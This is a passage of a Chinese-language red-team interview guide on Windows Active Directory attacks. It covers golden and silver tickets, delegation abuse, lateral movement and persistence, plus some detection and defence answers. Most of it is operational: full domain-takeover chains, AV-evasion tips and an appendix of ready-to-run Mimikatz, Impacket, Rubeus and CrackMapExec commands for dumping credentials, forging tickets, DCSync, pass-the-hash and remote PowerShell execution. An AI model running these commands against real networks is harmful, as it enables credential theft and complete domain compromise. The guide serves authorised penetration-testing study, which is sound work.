攻击前提：黄金→必须拿下域控；白银→只需拿下一台机器的管理员
权限范围：黄金→任意服务、任意主机、全域；白银→指定服务的指定主机
是否经 KDC：黄金→是（TGS 阶段）；白银→否（直接与 SS 通信）
日志位置：黄金→域控+目标；白银→仅目标（更隐蔽）
主要用途：黄金→权限维持、终极后门；白银→横向移动、隐蔽操作
失效条件：黄金→krbtgt 连续改两次；白银→目标机器账户密码轮换
PAC 签名：黄金→TGS 重新签名（合法 PAC）；白银→无 KDC 签名（可能被 PAC 验证阻挡）

Q21：为什么 krbtgt 密码要连续修改两次才能防御黄金票据？

参考答案：第一次修改后，旧密码仍作为”历史密码”保存在 AD 中（密码历史机制），可继续用于解密已签发票据。第二次修改使旧历史密码被覆盖，旧票据彻底失效。

Q22：白银票据能伪造哪些服务？具体能做什么？

参考答案：
CIFS：访问文件共享 → dir \\dc\c$
LDAP：修改 AD 对象 → 给自己加 DCSync → 提权到 DA
HOST：创建计划任务 → schtasks /create /s dc ...
WINRM：PowerShell 远程管理 → Enter-PSSession dc
RPCSS：WMI 远程执行
其中 LDAP 白银票据 + DCSync 是最经典的提权链。

Q23：Silver Ticket 配合 LDAP → DCSync 的完整提权链？

参考答案：
拿下任意域机器 → 获取它的机器账户 NTLM Hash
用该 Hash 伪造针对 DC 的 LDAP 白银票据
通过 LDAP 权限修改 AD 对象 ACL → 给普通用户添加 DCSync 权限
用该普通用户执行 secretsdump.py 导出全域 Hash（含 krbtgt）
krbtgt Hash → 黄金票据 → 完全控制
全程域控 Kerberos 日志无记录（没经过 KDC），极其隐蔽

Q24：白银票据的局限性是什么？

参考答案：① 权限有限，只能在指定服务器的指定服务上操作；② PAC 未经 KDC 签名，如果目标开启了 ValidateKdcPacSignature 则可能被拦截；③ 需要预先知道目标服务的 NTLM Hash；④ 目标服务账户密码轮换后票据失效。

Q25：跨域场景下如何利用黄金票据？

参考答案：需要两点——子域的 krbtgt Hash + 知道父域的 Domain SID（如 Enterprise Admins 的 SID）。在 /sids 参数中添加父域的高权限组 SID（RID 519=Enterprise Admins），就能让伪造的 TGT 含跨域权限。核心原理：Kerberos 信任链中的 SID 历史机制。

委派攻击（★★★）

Q26：域委派有哪三种？各自的核心特征？

参考答案：非约束委派→ 缓存用户 TGT 在 LSASS，诱导域管访问后导出票据；约束委派→ 利用 S4U2Self+S4U2Proxy 模拟用户访问自名单服务；RBCD→ 反向配置，修改目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity，任何用户（包括新建的机器账户）都能模拟访问。RBCD 最灵活：不需要域管权限即可配置。

Q27：非约束委派的攻击流程？

参考答案：① 枚举非约束委派服务器；② 在该服务器上用 Rubeus monitor 监听；③ 用 PrinterBug/SpoolSample 触发域控访问（发起打印机请求）；④ 捕获到域控机器账户（DC$）的 TGT；⑤ 导入 TGT → DCSync。

Q28：约束委派的攻击流程？

参考答案：① 枚举约束委派账户及其 msDS-AllowedToDelegateTo 列表；② 获取该账户的凭据（Hash/密码）；③ 用 getST.py -impersonate administrator 执行 S4U2 攻击获取目标服务 ST；④ 导入 ST → 访问目标服务 → DCSync（如果目标是 DC 的 CIFS/LDAP）。

Q29：RBCD 攻击为什么被称为”最佳 RCE 提权路径”？

参考答案：因为 RBCD 的配置不需要域管权限。每个域用户默认可以创建 10 个机器账户，如果对目标机器有 GenericWrite 权限（BloodHound 经常发现这种关系），就可以配置 RBCD → S4U2 模拟域管 → 控制目标机器。如果目标是 DC → 就是 DC 提权。

Q30：S4U2Self 和 S4U2Proxy 的区别？

参考答案：S4U2Self 是服务代表任意用户向 KDC 请求访问自身的 ST（可代表任意用户，不需要用户凭据）。S4U2Proxy 是服务代表用户用已有 ST 去向 KDC 请求访问其他服务的 ST（需要已有 ST 是 Forwardable 的，除非用 Bronze Bit 绕过）。两者组合才能实现”模拟域管访问其他服务”。

横向移动（★★☆）

Q31：拿到一台域机器的管理员权限后，下一步怎么扩大战果？

参考答案：① 抓取 LSASS 凭据（mimikatz/procdump）；② 查看本地管理员组（net localgroup administrators）→ 可能有域管也在里面；③ BloodHound 分析攻击路径；④ 查登录会话（who /user, qwinsta）→ 如果有域管在上面，窃取 Token；⑤ 如果机器有非约束委派 → 诱导域管触发 → 拿到域管 TGT；⑥ 内网扫描 → 发现其他主机 → PTH 横向。

Q32：PsExec 和 WMIExec 的区别？适用场景？

参考答案：PsExec 通过 SMB 445 上传 EXE 到 ADMIN$，产生文件落地和 7045 服务创建日志，返回 SYSTEM 权限；WMIExec 通过 WMI 135 远程执行，不落地文件，返回当前用户权限。前者权限高但痕迹多，后者隐蔽但需要调用者已有高权限。优先用 WMIExec 做横向，用 PsExec 做最后一下。

Q33：Over-Pass-the-Hash 是什么？为什么需要它？

参考答案：用 NTLM Hash 向 KDC 申请 TGT，然后走 Kerberos 认证。原因是打了 KB2871997 后 PTH（走 NTLM）可能被限制，但 Over-PTH 拿到 TGT 后走 Kerberos → 绕过 NTLM 限制。Rubeus asktgt /rc4:<hash> /ptt 即可实现。

Q34：CrackMapExec 在你的横向移动中扮演什么角色？

参考答案：CME 是横向移动的”瑞士军刀”——批量验证 Hash 有效性（cme smb）、批量执行命令（-x）、批量导出 SAM/LSASS（--sam/--lsa）、检查哪些目标可以访问（看返回的 (Pwn3d!) 标记）。在 100 台机器的环境里，CME 能帮你 30 秒内定位所有可横向的目标。

Q35：如何定位域管？

参考答案：手工方式：net group "Domain Admins" /domain；net group "Enterprise Admins" /domain。PowerView：Get-DomainGroupMember -Identity "Domain Admins"。BloodHound：直接显示。Find-DomainUserLocation 定位域管登录在哪台机器。

Q36：如何定位域控？

参考答案：
nltest /dclist:corp.com
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.com
net time /domain（时间服务器通常=DC）
net group "Domain Controllers" /domain
端口特征：同时开放 53 + 88 + 389 = 几乎就是 DC
BloodHound：所有 DC 都有标记

持久化与防御（★★★）

Q37：域控权限维持有哪些方法？怎么选？

参考答案：黄金票据→最可靠但要用 krbtgt Hash；DCSync 后门→隐蔽且灵活（随时导出 Hash）；AdminSDHolder→自动化传播，等 60 分钟即可在所有受保护组扩散；Skeleton Key→重启失效需配合计划任务或自启动。实际渗透中首选 DCSync 后门+黄金票据组合。

Q38：AdminSDHolder 后门的原理？

参考答案：AdminSDHolder 是 AD 保护容器，SDProp 进程每 60 分钟把它的 ACL 覆盖到所有受保护组（Domain Admins 等）。修改 AdminSDHolder 的 ACL→添加后门用户的 ACE→60 分钟内自动扩散 → 后门用户在所有高权限组中获得权限。穿透效果极强。

Q39：如何检测黄金票据攻击？

参考答案：① 域控 4769 事件（ST 请求）无对应 4768（TGT 请求）→对应不上说明 TGT 是伪造的；② 票据加密类型为 RC4（0x17）而非常规的 AES256（0x12）→攻击者用 NTLM Hash 生成票据只能走 RC4；③ 票据有效期异常（远超默认 10 小时）。

Q40：如何检测 DCSync 攻击？

参考答案：日志 4662（目录服务对象访问），关注 GUID 为 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2（DS-Replication-Get-Changes-All）的访问，且发起者不是正经的域控。正常只有 DC 之间才会互相调用这个接口。

Q41：如何防御 PTH？

参考答案：① 部署 KB2871997；② 启用 Credential Guard（虚拟化隔离 LSASS）；③ 部署 LAPS（本地管理员密码随机化，每台机器不同）；④ 网络分段，限制 SMB 445；⑤ 强制 SMB 签名；⑥ 最小权限原则（Domain Admins 不应登录工作站）。

Q42：如何防御黄金票据？

参考答案：① 定期修改 krbtgt 密码（且必须连续改两次）；② 限制域管登录范围（域管只登录域控，不登录工作站）；③ 备份 krbtgt 密码历史以便回滚；④ 监控 4769 事件异常模式。

Q43：Kerberoasting 的防御措施？

参考答案：① 服务账户密码至少 25 个字符（爆破成本指数级提高）；② 使用组托管服务账户（gMSA）由 AD 自动管理密码（128 字符随机密码，每 30 天轮换）；③ 审计域内所有 SPN 列表，识别不必要的 SPN；④ 使用 AES 加密替代 RC4（虽然 AES hashcat 模式 19700 也可爆破但慢很多）。

Q44：关于委派攻击的防御建议？

参考答案：① 将高权限用户加入 Protected Users 组（禁止委派）；② 敏感账户勾选”账户是敏感的，不能被委派”；③ 全面停用非约束委派，改用约束委派或 RBCD；④ 监控 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的变更（5136 事件）；⑤ 限制机器账户配额（ms-DS-MachineAccountQuota）。

综合场景（★★★）

Q45：从外网打点拿到一台域机器的普通用户权限，到拿下域控，完整攻击路线是怎样的？

参考答案：
① 信息收集：net user/group/domain, ipconfig, whoami，定位域控，发现域架构
② 提权至本地管理员：本地漏洞提权（内核/UAC/服务权限/计划任务）
③ 凭证获取：mimikatz 抓 LSASS，看有没有域管在本机缓存
④ 枚举攻击面：BloodHound/PowerView 全面扫描 ACL 关系、委派设置、SPN
⑤ 优先选择最短路径：
A. 有域管 Token → 直接 DCSync
B. Kerberoastable 用户有高权限 → Kerberoasting
C. ACL 滥用：WriteDacl → DCSync
D. 委派攻击：RBCD / 约束委派 → S4U 模拟域管
E. 无直接路径 → PTH/PTT 横向 → 扩大控制面 → 回到步骤③
⑥ DCSync → 获取 krbtgt → 黄金票据持久化

Q46：在一个大型企业环境中，你发现 1000 台机器，如何快速定位关键目标？

参考答案：首先用 BloodHound 收集全量数据，然后在 BloodHound GUI 中：① 标记已知高价值目标（Domain Admins, DC, 关键服务器）；② 运行 “Shortest Path to Domain Admins” 查询；③ 关注 AdminTo / HasSession 关系（域管管了哪些机器，域管登录在哪）；④ 关注 ACL 异常（Domain Users 对 DC 有 WriteDacl 就是严重）；⑤ 关注委派配置（非约束委派机器是 TGT 收集器）。结合 CME 批量扫描在线机器和可用 Hash，建立横向矩阵。

Q47：Windows 域渗透中最容易被忽视的攻击面是什么？

参考答案：① ADCS（证书服务）→ ESC1-8 证书模板配置错误；② 委派（尤其是 RBCD）→ 几乎每家大企业都有可利用的委派链；③ ACL 配置（GenericWrite/WriteDacl）→ 手工查不到，只有 BloodHound 能量化分析；④ DNS 服务器记录 → DNS 区域传输可能泄露内网拓扑；⑤ SCCM/MECM → 软件分发机制可植入恶意包推送到全司机器；⑥ Exchange → 域内 Exchange 通常有高权限（Exchange Windows Permissions 组有 WriteDacl）。

Q48：在受限环境（禁用了 mimikatz、PowerShell 受约束、无出网）中如何做域渗透？

参考答案：① 使用 Procdump 转储 LSASS + 离线 Mimikatz 分析；② 使用 .NET 工具（Rubeus/SharpHound/Seatbelt）绕过 PS 限制；③ 不使用 PowerShell 的 PowerView 替代方案→ 直接用 ADSI/LDAP 查询；④ 端口转发 + 隧道（chisel、frp、ssh 隧道）解决出网；⑤ 所有工具用混淆/打包绕过 AV；⑥ DLL 注入/Reflective DLL 加载免杀执行；⑦ 如果任何 exe 都被拦截→ 考虑 WMI 查询、Certutil 下载、MSBuild 执行。

Q49：你在实际渗透中遇到过什么坑？怎么解决的？

参考答案思路（面试官想听你的实战经验）：例如：域内时间不对导致 Kerberos 认证失败（时间偏差超过 5 分钟 Kerberos 拒绝）；抓 LSASS 时被 AV 拦截（换 Procdump）；BloodHound 采集时被 EDR 告警（用 SharpHound 的 --Throttle 参数降低采集频率）；DCSync 执行时返回权限不足（权限确实不够，需要先走 ACL 提权链）等。

Q50：作为安服转攻防，你觉得自己最大的优势是什么？

参考答案：安服背景意味着你对日志分析、应急响应、合规检查有实战经验——你知道”蓝队怎么看”，而这正是红队最需要的能力。你能从防御视角设计攻击路径，知道什么技术会被检测、什么技术更隐蔽。面试时把这个讲出来，是你的独特竞争力。

附录：完整命令速查表

A.1 Mimikatz 命令大全

凭证获取
  privilege::debug                     # 获取调试权限
  sekurlsa::logonpasswords             # 抓取明文密码 + NTLM Hash
  sekurlsa::ekeys                      # 抓取 AES Key（用于 PTK）
  sekurlsa::tickets /export            # 导出所有 Kerberos 票据
  lsadump::lsa /inject /name:krbtgt    # 直接从 LSASS 读 krbtgt Hash
  lsadump::sam                         # 读本地 SAM
  token::elevate                       # 令牌提权

DCSync
  lsadump::dcsync /domain:corp.com /all /csv                    # 导出全域 Hash
  lsadump::dcsync /domain:corp.com /user:krbtgt                 # 导出 krbtgt
  lsadump::dcsync /domain:corp.com /user:Administrator          # 导出 Administrator

黄金票据
  kerberos::golden /admin:Administrator /domain:corp.com /sid:S-1-5-21-xxx /krbtgt:<hash> /ptt

白银票据
  kerberos::golden /domain:corp.com /sid:S-1-5-21-xxx /target:dc.corp.com /service:cifs /rc4:<hash> /user:Administrator /ptt

票据操作
  kerberos::list                      # 列出当前票据
  kerberos::ptt ticket.kirbi          # 导入票据
  kerberos::purge                     # 清除所有票据

PTH
  sekurlsa::pth /user:Administrator /domain:corp.com /ntlm:<hash>

PTK
  sekurlsa::pth /user:Administrator /domain:corp.com /aes256:<key>

Skeleton Key
  misc::skeleton                      # 万能密码 "mimikatz"

离线读取
  sekurlsa::minidump lsass.dmp        # 加载 dump 文件
  sekurlsa::logonpasswords            # 从 dump 中读

A.2 Impacket 命令大全

# DCSync / 导出 Hash
secretsdump.py corp.com/admin:pass@10.0.0.10
secretsdump.py -hashes :<NTLM> corp.com/Admin@10.0.0.10
secretsdump.py -just-dc-user krbtgt corp.com/admin:pass@10.0.0.10
secretsdump.py -sam sam.hive -system system.hive LOCAL

# PTH 横向
psexec.py -hashes :<NTLM> corp.com/Admin@10.0.0.20
wmiexec.py -hashes :<NTLM> corp.com/Admin@10.0.0.20
smbexec.py -hashes :<NTLM> corp.com/Admin@10.0.0.20
atexec.py -hashes :<NTLM> corp.com/Admin@10.0.0.20 "whoami"
dcomexec.py -hashes :<NTLM> corp.com/Admin@10.0.0.20

# Kerberoasting
GetUserSPNs.py corp.local/user:pass -dc-ip 10.0.0.10 -request

# AS-REP Roasting
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.0.0.10 -format hashcat

# 黄金票据
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-xxx -domain corp.com Administrator

# 票据转换
ticketConverter.py ticket.kirbi ticket.ccache

# Kerberos 认证（-k）
psexec.py -k -no-pass corp.com/Administrator@dc01.corp.com
secretsdump.py -k -no-pass corp.com/Administrator@dc01.corp.com

# 委派攻击
getST.py -dc-ip 10.0.0.10 -spn CIFS/dc01.corp.com -impersonate administrator corp.com/WEB\$ -hashes :<hash>
getST.py -force-forwardable -dc-ip 10.0.0.10 -spn CIFS/dc01.corp.com -impersonate administrator corp.com/WEB\$ -hashes :<hash>

# RBCD
rbcd.py corp.com/user:pass -dc-ip 10.0.0.10 -action write -delegate-to 'TARGET$' -delegate-from 'ROGUE$'
addcomputer.py -dc-ip 10.0.0.10 -computer-name 'ROGUE' -computer-pass 'Passw0rd!' corp.com/user:pass

# NTLM Relay
ntlmrelayx.py -t ldap://dc01.corp.com --delegate-access --escalate-user rogue$

# DACL 编辑
dacledit.py -action write -rights DCSync -principal user -target 'DC=corp,DC=com' corp.com/admin:pass

A.3 Rubeus 命令大全

# Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
.\Rubeus.exe kerberoast /user:targetuser /nowrap

# AS-REP Roasting
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Over-Pass-the-Hash
.\Rubeus.exe asktgt /domain:corp.com /user:Administrator /rc4:<NTLM> /ptt

# 票据监控（非约束委派）
.\Rubeus.exe monitor /interval:5 /nowrap

# S4U 攻击（约束委派 / RBCD）
.\Rubeus.exe s4u /domain:corp.com /impersonateuser:Administrator /msdsspn:"cifs/dc01.corp.com" /user:WEB$ /rc4:<hash> /ptt

# 票据导入
.\Rubeus.exe ptt /ticket:<base64_encoded_ticket>

A.4 BloodHound 命令大全

# SharpHound（Windows）
SharpHound.exe -c All,GPOLocalGroup
SharpHound.exe -c ACL,Session,Trusts --Throttle 1000

# bloodhound-python（Linux）
bloodhound-python -u user -p pass -ns 10.0.0.10 -d corp.com -c All
bloodhound-python -u user -p pass -ns 10.0.0.10 -d corp.com -c All --authmode basic --port 389 --tlsmode NoTLS

# 启动 BloodHound
sudo neo4j start
bloodhound --no-sandbox

A.5 CrackMapExec 命令大全

# 批量验证
crackmapexec smb 10.0.0.0/24 -u user -p pass
crackmapexec smb 10.0.0.0/24 -u user -H <NTLM>
crackmapexec smb 10.0.0.0/24 -u Administrator -H <NTLM> --local-auth

# 批量执行命令
crackmapexec smb 10.0.0.0/24 -u user -p pass -x "whoami"
crackmapexec smb 10.0.0.0/24 -u user -p pass -X "powershell IEX(...)"

# 导出凭据
crackmapexec smb 10.0.0.20 -u Administrator -H <NTLM> --sam
crackmapexec smb 10.0.0.20 -u Administrator -H <NTLM> --lsa

# 枚举
crackmapexec smb 10.0.0.0/24 --shares
crackmapexec smb 10.0.0.0/24 --sessions

本指南仅供合法授权的安全测试与学习研究使用。未经授权对他人系统进行渗透测试属于违法行为。